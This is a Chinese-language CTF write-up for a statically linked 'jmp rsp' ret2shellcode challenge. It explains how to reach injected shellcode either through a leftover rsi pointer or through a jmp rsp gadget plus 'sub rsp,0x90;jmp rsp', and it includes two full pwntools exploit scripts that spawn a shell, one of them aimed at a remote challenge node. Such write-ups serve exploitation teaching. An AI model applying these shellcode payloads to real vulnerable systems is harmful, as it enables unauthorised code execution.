这是一道非常简单的ret2shellcode,然而可以学到一些些小小的技巧。
目录
前言
ret2shellcode,一般是往某个wx属性的地方写上shellcode,再尝试进行控制流劫持,跳转到shellcode处。
一、题目概述
二、解题思路1
题目叫jmp rsp,是一个提示,但也可以是一种小误导。怎么说呢?
如果我们把shellcode写到buf,如何控制执行流到shellcode,是个难点。
程序是静态链接,有着丰富的gadget:
看到了jmp rsp。如果我们能让rsp指向shellcode处,执行跳转,就可以实现目的。然而如何让rsp-0x90,我并没有找到这样的gadget。
因此我开始关注其他寄存器的值——rsi在main函数ret时,指向了我们的buf——亦即shellcode!
于是非常简单。。。jmp rsi即可。 感觉略有些非预期。。
三、EXP1
from pwn import *
context(arch='amd64',log_level='debug')
# 0x000000000046d01d : jmp rsp
# 0x0000000000459a37 : jmp rsi
jmp_rsp=0x000000000046d01d
jmp_rsi=0x0000000000459a37
shellcode=asm(shellcraft.sh())
io=process('./pwn')
io=remote('node4.anna.nssctf.cn',28254)
# gdb.attach(io);input()
payload=shellcode.ljust(0x88,b'\x00')+p64(jmp_rsi)
# payload=b'the_buf_addr'
io.send(payload)
io.interactive()
四、解题思路2
然而,当我翻阅大佬的wp时,发现jmp rsp确实也可以做。而这是因为我们可以不急于将控制流控制到shellcode处,而是更为灵活的,先将执行流劫持到可控制的栈上,而栈上的内容可由我们写,因此可以做很多事情。
试想,如果栈上这样布局:
------------------------------------------------------------------------------------
| buf | rbp | ret | ... ... |
------------------------------------------------------------------------------------
| shellcode + padding | gadget(jmp rsp) | asm(sub rsp, 0x90;jmp rsp) |
------------------------------------------------------------------------------------
那么可以预料到的是:
1. 当ret的时候,rip被赋值,指向了当前的rsp所指向的值,即jmp rsp的gadget;同时rsp自减一个字。
2. 当程序继续执行,jmp rsp时,执行流被劫持到栈上,具体地址为ret的后一个字
3. 继续执行我们布置好的指令:rsp自减,指向buf开头,即shellcode开头。rip自动后移,指向jmp rsp
4. 继续执行,控制流jmp到rsp所指,buf的开头区域,顺利执行shellcode。
五、EXP2
from pwn import *
context(arch='amd64',log_level='debug')
# 0x000000000046d01d : jmp rsp
# 0x0000000000459a37 : jmp rsi
jmp_rsp=0x000000000046d01d
jmp_rsi=0x0000000000459a37
shellcode=asm(shellcraft.sh())
io=process('./pwn')
# io=remote('node4.anna.nssctf.cn',28254)
# gdb.attach(io);input()
# payload=shellcode.ljust(0x88,b'\x00')+p64(jmp_rsi)
payload=shellcode.ljust(0x88,b'\x00')+p64(jmp_rsp)+asm('sub rsp,0x90;jmp rsp')
# payload=b'the_buf_addr'
io.send(payload)
io.interactive()
总结
题目并不难,没有套多少壳子,一眼漏洞。
然而利用技巧可以总结和掌握:
- 关注寄存器残留的值
- 利用rsp和栈可写可执行,能够做很多事情